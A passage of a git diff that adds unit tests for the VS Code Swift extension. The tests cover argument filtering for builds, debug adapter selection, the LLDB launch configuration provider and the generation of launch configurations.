expect(mockedStatusItem.end).to.have.been.called; + expect(mockedConfiguration.swiftSDK).to.equal( + getDarwinTargetTriple(DarwinCompatibleTarget.iOS) + ); + }); + + test("Call Switch Platform and switch to macOS", async () => { + const selectedItem = { value: undefined, label: "macOS" }; + windowMock.showQuickPick.resolves(selectedItem); + mockSwiftToolchain.getSDKForTarget.resolves(""); + expect(mockedConfiguration.swiftSDK).to.equal(""); + + await switchPlatform(instance(mockContext)); + + expect(windowMock.showQuickPick).to.have.been.calledOnce; + expect(windowMock.showWarningMessage).to.not.have.been.called; + expect(mockedStatusItem.start).to.have.been.called; + expect(mockedStatusItem.end).to.have.been.called; + expect(mockedConfiguration.swiftSDK).to.equal(""); + }); +}); diff --git a/test/unit-tests/debugger/buildConfig.test.ts b/test/unit-tests/debugger/buildConfig.test.ts new file mode 100644 index 000000000..3769afc5c --- /dev/null +++ b/test/unit-tests/debugger/buildConfig.test.ts @@ -0,0 +1,267 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as sinon from "sinon"; + +import { FolderContext } from "@src/FolderContext"; +import { LinuxMain } from "@src/LinuxMain"; +import { SwiftPackage } from "@src/SwiftPackage"; +import configuration, { FolderConfiguration } from "@src/configuration"; +import { BuildConfigurationFactory } from "@src/debugger/buildConfig"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockGlobalValue, mockObject } from "../../MockUtils"; + +suite("BuildConfig Test Suite", () => { + let mockedFolderContext: MockedObject; + let mockedSwiftPackage: MockedObject; + let mockedToolchain: MockedObject; + let mockedBuildFlags: MockedObject; + + const additionalTestArgumentsConfig = mockGlobalValue(configuration, "folder"); + + function createMockFolderConfig(additionalTestArguments: string[]): FolderConfiguration { + return { + testEnvironmentVariables: {}, + additionalTestArguments, + searchSubfoldersForPackages: false, + ignoreSearchingForPackagesInSubfolders: [], + autoGenerateLaunchConfigurations: false, + disableAutoResolve: false, + attachmentsPath: "", + pluginPermissions: () => ({ trusted: false }), + pluginArguments: () => [], + } as FolderConfiguration; + } + + suiteSetup(() => { + mockedBuildFlags = mockObject({ + getDarwinTarget: () => undefined, + }); + + mockedToolchain = mockObject({ + buildFlags: instance(mockedBuildFlags), + swiftVersion: new Version(6, 0, 0), + sanitizer: () => undefined, + }); + + mockedSwiftPackage = mockObject({ + getTargets: sinon.stub().resolves([{ name: "TestTarget" }]), + name: Promise.resolve("TestPackage"), + }); + + mockedFolderContext = mockObject({ + toolchain: instance(mockedToolchain), + swiftPackage: instance(mockedSwiftPackage), + workspaceFolder: { uri: { fsPath: "/test/workspace" }, name: "TestWorkspace" } as any, + swiftVersion: new Version(6, 0, 0), + relativePath: "", + linuxMain: { + exists: true, + } as any as LinuxMain, + }); + }); + + suite("TEST_ONLY_ARGUMENTS filtering", () => { + let filterArgumentsSpy: sinon.SinonSpy; + + setup(() => { + // Reset any existing spies + sinon.restore(); + + // Spy on the BuildFlags.filterArguments method + filterArgumentsSpy = sinon.spy(BuildFlags, "filterArguments"); + + // Mock configuration.folder to return test arguments + additionalTestArgumentsConfig.setValue(() => createMockFolderConfig([])); + }); + + teardown(() => { + sinon.restore(); + }); + + test("filters out test-only arguments for test builds", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig([ + "--no-parallel", + "--filter", + "TestCase", + "--enable-code-coverage", + ]) + ); + + const config = await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + + expect(args).to.deep.equal([ + "--no-parallel", + "--filter", + "TestCase", + "--enable-code-coverage", + ]); + + expect(config.args).to.include("--build-tests"); + }); + + test("preserves build-compatible arguments for test builds", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig([ + "--scratch-path", + "/tmp/build", + "-Xswiftc", + "-enable-testing", + ]) + ); + + // Act: Build configuration for test build + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + expect(args).to.deep.equal([ + "--scratch-path", + "/tmp/build", + "-Xswiftc", + "-enable-testing", + ]); + }); + + test("does not filter arguments for non-test builds", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig(["--no-parallel", "--scratch-path", "/tmp/build"]) + ); + + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + false, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.not.have.been.called; + }); + + test("handles empty additionalTestArguments", async () => { + additionalTestArgumentsConfig.setValue(() => createMockFolderConfig([])); + + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + expect(args).to.deep.equal([]); + }); + + test("handles mixed arguments correctly", async () => { + additionalTestArgumentsConfig.setValue(() => + createMockFolderConfig([ + "--no-parallel", // test-only (should be filtered out) + "--scratch-path", + "/tmp", // build-compatible (should be preserved) + "--filter", + "MyTest", // test-only (should be filtered out) + "-Xswiftc", + "-O", // build-compatible (should be preserved) + "--enable-code-coverage", // test-only (should be filtered out) + "--verbose", // build-compatible (should be preserved) + ]) + ); + + await BuildConfigurationFactory.buildAll( + instance(mockedFolderContext), + true, // isTestBuild + false // isRelease + ); + + expect(filterArgumentsSpy).to.have.been.calledOnce; + const [args] = filterArgumentsSpy.firstCall.args; + expect(args).to.deep.equal([ + "--no-parallel", + "--scratch-path", + "/tmp", + "--filter", + "MyTest", + "-Xswiftc", + "-O", + "--enable-code-coverage", + "--verbose", + ]); + }); + + test("has correct include values for arguments with parameters", () => { + // Access the private static property through the class + const filter = (BuildConfigurationFactory as any).TEST_ONLY_ARGUMENTS; + + // Arguments that take 1 parameter + const oneParamArgs = ["--filter", "--skip", "--num-workers", "--xunit-output"]; + oneParamArgs.forEach(arg => { + const filterItem = filter.find((f: any) => f.argument === arg); + expect(filterItem, `${arg} should be in exclusion filter`).to.exist; + expect(filterItem.include, `${arg} should exclude 1 parameter`).to.equal(1); + }); + + // Arguments that take no parameters (flags) + const noParamArgs = ["--parallel", "--no-parallel", "--list-tests"]; + noParamArgs.forEach(arg => { + const filterItem = filter.find((f: any) => f.argument === arg); + expect(filterItem, `${arg} should be in exclusion filter`).to.exist; + expect(filterItem.include, `${arg} should exclude 0 parameters`).to.equal(0); + }); + }); + + test("excludes expected test-only arguments", () => { + // Access the private static property through the class + const filter = (BuildConfigurationFactory as any).TEST_ONLY_ARGUMENTS; + + expect(filter).to.be.an("array"); + + // Verify test-only arguments are included in the exclusion list + expect(filter.some((f: any) => f.argument === "--no-parallel")).to.be.true; + expect(filter.some((f: any) => f.argument === "--parallel")).to.be.true; + expect(filter.some((f: any) => f.argument === "--filter")).to.be.true; + expect(filter.some((f: any) => f.argument === "--skip")).to.be.true; + expect(filter.some((f: any) => f.argument === "--list-tests")).to.be.true; + expect(filter.some((f: any) => f.argument === "--attachments-path")).to.be.true; + expect(filter.some((f: any) => f.argument === "--enable-testable-imports")).to.be.true; + expect(filter.some((f: any) => f.argument === "--xunit-output")).to.be.true; + }); + + test("does not exclude build-compatible arguments", () => { + // Access the private static property through the class + const filter = (BuildConfigurationFactory as any).TEST_ONLY_ARGUMENTS; + + // Verify build-compatible arguments are NOT in the exclusion list + expect(filter.some((f: any) => f.argument === "--scratch-path")).to.be.false; + expect(filter.some((f: any) => f.argument === "-Xswiftc")).to.be.false; + expect(filter.some((f: any) => f.argument === "--build-system")).to.be.false; + expect(filter.some((f: any) => f.argument === "--sdk")).to.be.false; + expect(filter.some((f: any) => f.argument === "--verbose")).to.be.false; + expect(filter.some((f: any) => f.argument === "--configuration")).to.be.false; + }); + }); +}); diff --git a/test/unit-tests/debugger/debugAdapter.test.ts b/test/unit-tests/debugger/debugAdapter.test.ts new file mode 100644 index 000000000..c5c802295 --- /dev/null +++ b/test/unit-tests/debugger/debugAdapter.test.ts @@ -0,0 +1,83 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as mockFS from "mock-fs"; + +import configuration from "@src/configuration"; +import { DebugAdapter, LaunchConfigType } from "@src/debugger/debugAdapter"; +import { Version } from "@src/utilities/version"; + +import { MockedObject, instance, mockGlobalModule, mockObject } from "../../MockUtils"; + +suite("DebugAdapter Unit Test Suite", () => { + const mockConfiguration = mockGlobalModule(configuration); + + let mockDebugConfig: MockedObject<(typeof configuration)["debugger"]>; + + setup(() => { + // Mock VS Code settings + mockDebugConfig = mockObject<(typeof configuration)["debugger"]>({ + debugAdapter: "auto", + customDebugAdapterPath: "", + }); + mockConfiguration.debugger = instance(mockDebugConfig); + // Mock the file system + mockFS({}); + }); + + teardown(() => { + mockFS.restore(); + }); + + suite("getLaunchConfigType()", () => { + test("returns LLDB_DAP when Swift version >=6.0.0 and swift.debugger.debugAdapter is set to lldb-dap", () => { + mockDebugConfig.debugAdapter = "lldb-dap"; + expect(DebugAdapter.getLaunchConfigType(new Version(6, 0, 1))).to.equal( + LaunchConfigType.LLDB_DAP + ); + }); + + test("returns LLDB_DAP when Swift version >=6.0.0 and swift.debugger.debugAdapter is set to auto", () => { + mockDebugConfig.debugAdapter = "auto"; + expect(DebugAdapter.getLaunchConfigType(new Version(6, 0, 1))).to.equal( + LaunchConfigType.LLDB_DAP + ); + }); + + test("returns CODE_LLDB when Swift version >=6.0.0 and swift.debugger.debugAdapter is set to CODE_LLDB", () => { + mockDebugConfig.debugAdapter = "CodeLLDB"; + expect(DebugAdapter.getLaunchConfigType(new Version(6, 0, 1))).to.equal( + LaunchConfigType.CODE_LLDB + ); + }); + + test("returns CODE_LLDB when Swift version is older than 6.0.0 regardless of setting", () => { + // Try with the setting set to auto + mockDebugConfig.debugAdapter = "auto"; + expect(DebugAdapter.getLaunchConfigType(new Version(5, 10, 0))).to.equal( + LaunchConfigType.CODE_LLDB + ); + // Try with the setting set to CodeLLDB + mockDebugConfig.debugAdapter = "CodeLLDB"; + expect(DebugAdapter.getLaunchConfigType(new Version(5, 10, 0))).to.equal( + LaunchConfigType.CODE_LLDB + ); + // Try with the setting set to lldb-dap + mockDebugConfig.debugAdapter = "lldb-dap"; + expect(DebugAdapter.getLaunchConfigType(new Version(5, 10, 0))).to.equal( + LaunchConfigType.CODE_LLDB + ); + }); + }); +}); diff --git a/test/unit-tests/debugger/debugAdapterFactory.test.ts b/test/unit-tests/debugger/debugAdapterFactory.test.ts new file mode 100644 index 000000000..2fa04a136 --- /dev/null +++ b/test/unit-tests/debugger/debugAdapterFactory.test.ts @@ -0,0 +1,537 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as mockFS from "mock-fs"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import configuration from "@src/configuration"; +import { LaunchConfigType, SWIFT_LAUNCH_CONFIG_TYPE } from "@src/debugger/debugAdapter"; +import * as debugAdapter from "@src/debugger/debugAdapter"; +import { LLDBDebugConfigurationProvider } from "@src/debugger/debugAdapterFactory"; +import * as lldb from "@src/debugger/lldb"; +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { BuildFlags } from "@src/toolchain/BuildFlags"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { Result } from "@src/utilities/result"; +import { Version } from "@src/utilities/version"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockObject, +} from "../../MockUtils"; + +suite("LLDBDebugConfigurationProvider Tests", () => { + let mockWorkspaceContext: MockedObject; + let mockToolchain: MockedObject; + let mockBuildFlags: MockedObject; + let mockLogger: MockedObject; + const mockDebugAdapter = mockGlobalObject(debugAdapter, "DebugAdapter"); + const mockWindow = mockGlobalObject(vscode, "window"); + + setup(() => { + mockBuildFlags = mockObject({ getBuildBinaryPath: mockFn() }); + mockToolchain = mockObject({ + swiftVersion: new Version(6, 0, 0), + buildFlags: instance(mockBuildFlags), + }); + mockLogger = mockObject({ + info: mockFn(), + }); + mockWorkspaceContext = mockObject({ + globalToolchain: instance(mockToolchain), + globalToolchainSwiftVersion: new Version(6, 0, 0), + logger: instance(mockLogger), + subscriptions: [], + folders: [], + }); + }); + + test("allows specifying a 'pid' in the launch configuration", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + undefined, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "attach", + pid: 41038, + } + ); + expect(launchConfig).to.containSubset({ pid: 41038 }); + }); + + test("converts 'pid' property from a string to a number", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + undefined, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "attach", + pid: "41038", + } + ); + expect(launchConfig).to.containSubset({ pid: 41038 }); + }); + + test("shows an error when the 'pid' property is a string that isn't a number", async () => { + // Simulate the user clicking the "Configure" button + mockWindow.showErrorMessage.resolves("Configure" as any); + + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + undefined, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "attach", + pid: "not-a-number", + } + ); + expect(launchConfig).to.be.null; + }); + + test("shows an error when the 'pid' property isn't a number or string", async () => { + // Simulate the user clicking the "Configure" button + mockWindow.showErrorMessage.resolves("Configure" as any); + + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + undefined, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "attach", + pid: {}, + } + ); + expect(launchConfig).to.be.null; + }); + + test("sets the 'program' property if a 'target' property is present", async () => { + mockBuildFlags.getBuildBinaryPath.resolves( + "/path/to/swift-executable/.build/arm64-apple-macosx/debug/" + ); + const folder: vscode.WorkspaceFolder = { + index: 0, + name: "swift-executable", + uri: vscode.Uri.file("/path/to/swift-executable"), + }; + const mockedFolderCtx = mockObject({ + workspaceContext: instance(mockWorkspaceContext), + workspaceFolder: folder, + folder: folder.uri, + toolchain: instance(mockToolchain), + relativePath: "./", + }); + mockWorkspaceContext.folders = [instance(mockedFolderCtx)]; + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + folder, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + target: "executable", + } + ); + expect(launchConfig).to.have.property( + "program", + path.normalize("/path/to/swift-executable/.build/arm64-apple-macosx/debug/executable") + ); + }); + + suite("CodeLLDB selected in settings", () => { + let mockLldbConfiguration: MockedObject; + const mockLLDB = mockGlobalModule(lldb); + const mockDebuggerConfig = mockGlobalObject(configuration, "debugger"); + const mockWorkspace = mockGlobalObject(vscode, "workspace"); + const mockExtensions = mockGlobalObject(vscode, "extensions"); + const mockCommands = mockGlobalObject(vscode, "commands"); + + setup(() => { + mockExtensions.getExtension.returns(mockObject>({})); + mockLldbConfiguration = mockObject({ + get: mockFn(s => { + s.withArgs("library").returns("/path/to/liblldb.dyLib"); + s.withArgs("launch.expressions").returns("native"); + }), + update: mockFn(), + }); + mockWorkspace.getConfiguration.returns(instance(mockLldbConfiguration)); + mockLLDB.updateLaunchConfigForCI.returnsArg(0); + mockLLDB.getLLDBLibPath.resolves(Result.makeSuccess("/path/to/liblldb.dyLib")); + mockDebuggerConfig.setupCodeLLDB = "prompt"; + mockDebugAdapter.getLaunchConfigType.returns(LaunchConfigType.CODE_LLDB); + }); + + test("returns a launch configuration that uses CodeLLDB as the debug adapter", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }); + expect(launchConfig).to.containSubset({ type: LaunchConfigType.CODE_LLDB }); + }); + + test("prompts the user to install CodeLLDB if it isn't found", async () => { + mockExtensions.getExtension.returns(undefined); + mockWindow.showErrorMessage.resolves("Install CodeLLDB" as any); + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + await expect( + configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }) + ).to.eventually.not.be.undefined; + expect(mockCommands.executeCommand).to.have.been.calledWith( + "workbench.extensions.installExtension", + "vadimcn.vscode-lldb" + ); + }); + + test("prompts the user to update CodeLLDB settings if they aren't configured yet", async () => { + mockLldbConfiguration.get.withArgs("library").returns(undefined); + mockWindow.showInformationMessage.resolves("Global" as any); + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + await expect( + configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }) + ).to.eventually.not.be.undefined; + expect(mockWindow.showInformationMessage).to.have.been.calledOnce; + expect(mockLldbConfiguration.update).to.have.been.calledWith( + "library", + "/path/to/liblldb.dyLib" + ); + }); + + test("avoids prompting the user about CodeLLDB if requested in settings", async () => { + mockDebuggerConfig.setupCodeLLDB = "alwaysUpdateGlobal"; + mockLldbConfiguration.get.withArgs("library").returns(undefined); + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + await expect( + configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }) + ).to.eventually.be.an("object"); + expect(mockWindow.showInformationMessage).to.not.have.been.called; + expect(mockLldbConfiguration.update).to.have.been.calledWith( + "library", + "/path/to/liblldb.dyLib" + ); + }); + }); + + suite("lldb-dap selected in settings", () => { + setup(() => { + mockDebugAdapter.getLaunchConfigType.returns(LaunchConfigType.LLDB_DAP); + mockDebugAdapter.getLLDBDebugAdapterPath.resolves("/path/to/lldb-dap"); + mockFS({ + "/path/to/lldb-dap": mockFS.file({ content: "", mode: 0o770 }), + }); + }); + + teardown(() => { + mockFS.restore(); + }); + + test("returns a launch configuration that uses lldb-dap as the debug adapter", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }); + expect(launchConfig).to.containSubset({ + type: LaunchConfigType.LLDB_DAP, + debugAdapterExecutable: "/path/to/lldb-dap", + }); + }); + + test("fails if the path to lldb-dap could not be found", async () => { + mockFS({}); // Reset mockFS so that no files exist + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + await expect( + configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }) + ).to.eventually.be.undefined; + expect(mockWindow.showErrorMessage).to.have.been.calledOnce; + }); + + test("modifies program to add file extension on Windows", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "win32", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }); + expect(launchConfig).to.containSubset({ + program: "${workspaceFolder}/.build/debug/executable.exe", + }); + }); + + test("does not modify program on Windows if file extension is already present", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "win32", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable.exe", + }); + expect(launchConfig).to.containSubset({ + program: "${workspaceFolder}/.build/debug/executable.exe", + }); + }); + + test("does not modify program on macOS", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }); + expect(launchConfig).to.containSubset({ + program: "${workspaceFolder}/.build/debug/executable", + }); + }); + + test("does not modify program on Linux", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "linux", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }); + expect(launchConfig).to.containSubset({ + program: "${workspaceFolder}/.build/debug/executable", + }); + }); + + test("should convert environment variables to string[] format when using lldb-dap", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + env: { + VAR1: "value1", + VAR2: "value2", + }, + }); + expect(launchConfig) + .to.have.property("env") + .that.deep.equals(["VAR1=value1", "VAR2=value2"]); + }); + + test("should leave env undefined when environment variables are undefined and using lldb-dap", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + }); + expect(launchConfig).to.not.have.property("env"); + }); + + test("should convert empty environment variables when using lldb-dap", async () => { + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + name: "Test Launch", + program: "/path/to/some/program", + env: {}, + }); + + expect(launchConfig).to.have.property("env").that.deep.equals([]); + }); + + test("should handle a large number of environment variables when using lldb-dap", async () => { + // Create 1000 environment variables + const env: { [key: string]: string } = {}; + for (let i = 0; i < 1000; i++) { + env[`VAR${i}`] = `value${i}`; + } + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = + await configProvider.resolveDebugConfigurationWithSubstitutedVariables(undefined, { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + name: "Test Launch", + program: "/path/to/some/program", + env, + }); + + // Verify that all 1000 environment variables are properly converted + const expectedEnv = Array.from({ length: 1000 }, (_, i) => `VAR${i}=value${i}`); + expect(launchConfig).to.have.property("env").that.deep.equals(expectedEnv); + }); + }); + + test("debugs with the toolchain of the supplied folder", async () => { + const debugAdapterPath = "/path/to/lldb-dap"; + mockDebugAdapter.getLaunchConfigType.returns(LaunchConfigType.LLDB_DAP); + mockDebugAdapter.getLLDBDebugAdapterPath.calledOnceWithExactly(mockToolchain); + mockDebugAdapter.getLLDBDebugAdapterPath.resolves(debugAdapterPath); + mockFS({ + [debugAdapterPath]: mockFS.file({ content: "", mode: 0o770 }), + }); + mockToolchain = mockObject({ swiftVersion: new Version(5, 10, 0) }); + const mockFolder = mockObject({ + isRootFolder: false, + folder: vscode.Uri.file("/folder"), + workspaceFolder: { + uri: vscode.Uri.file("/folder"), + name: "folder", + index: 1, + }, + toolchain: instance(mockToolchain), + }); + mockWorkspaceContext.folders.push(instance(mockFolder)); + const configProvider = new LLDBDebugConfigurationProvider( + "darwin", + instance(mockWorkspaceContext), + instance(mockLogger) + ); + const launchConfig = await configProvider.resolveDebugConfigurationWithSubstitutedVariables( + { + uri: vscode.Uri.file("/folder"), + name: "folder", + index: 1, + }, + { + name: "Test Launch Config", + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + program: "${workspaceFolder}/.build/debug/executable", + } + ); + expect(launchConfig).to.containSubset({ + debugAdapterExecutable: debugAdapterPath, + }); + }); +}); diff --git a/test/unit-tests/debugger/launch.test.ts b/test/unit-tests/debugger/launch.test.ts new file mode 100644 index 000000000..39ec0653b --- /dev/null +++ b/test/unit-tests/debugger/launch.test.ts @@ -0,0 +1,451 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { Product, SwiftPackage } from "@src/SwiftPackage"; +import configuration, { FolderConfiguration } from "@src/configuration"; +import { SWIFT_LAUNCH_CONFIG_TYPE } from "@src/debugger/debugAdapter"; +import { makeDebugConfigurations, swiftPrelaunchBuildTaskArguments } from "@src/debugger/launch"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockObject, +} from "../../MockUtils"; + +suite("Launch Configurations Test", () => { + const mockConfiguration = mockGlobalModule(configuration); + let mockFolderConfiguration: MockedObject; + const mockWorkspace = mockGlobalObject(vscode, "workspace"); + let mockLaunchWSConfig: MockedObject; + + // Create a mock folder to be used by each test + const folderURI = vscode.Uri.file("/path/to/folder"); + const swiftPackage = mockObject({ + executableProducts: Promise.resolve([ + { name: "executable", targets: [], type: { executable: null } }, + ]), + }); + const folder = mockObject({ + folder: folderURI, + workspaceFolder: { + index: 0, + name: "folder", + uri: folderURI, + }, + relativePath: "", + swiftPackage: instance(swiftPackage), + }); + + setup(() => { + mockFolderConfiguration = mockObject({ + autoGenerateLaunchConfigurations: true, + }); + mockConfiguration.folder.returns(mockFolderConfiguration); + mockLaunchWSConfig = mockObject({ + get: mockFn(), + update: mockFn(), + }); + mockWorkspace.getConfiguration.withArgs("launch").returns(instance(mockLaunchWSConfig)); + mockLaunchWSConfig.get.withArgs("configurations").returns([]); + }); + + test("generates launch configurations for executable products", async () => { + expect(await makeDebugConfigurations(instance(folder), { yes: true })).to.be.true; + expect(mockLaunchWSConfig.update).to.have.been.calledWith( + "configurations", + [ + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Debug executable", + target: "executable", + configuration: "debug", + preLaunchTask: "swift: Build Debug executable", + }, + { + type: SWIFT_LAUNCH_CONFIG_TYPE, + request: "launch", + args: [], + cwd: "${workspaceFolder:folder}", + name: "Release executable", + target: "executable", + configuration: "release", + preLaunchTask: "swift: Build Release executable", + }, + ], + vscode.ConfigurationTarget.WorkspaceFolder + ); + }); + + test("doesn't generate launch configurations if disabled in settings", async () => { + mockFolderConfiguration.autoGenerateLaunchConfigurations = false; + + expect(await makeDebugConfigurations(instance(folder), { yes: true })).to.be.false; + expect(mockLaunchWSConfig.update).to.not.have.been.called; + }); + + test("forces the generation of launch configurations if force is set to true", async () => { + mockFolderConfiguration.autoGenerateLaunchConfigurations = false; + + expect(await makeDebugConfigurations(instance(folder), { force: true, yes: true })).to.be + .true; + 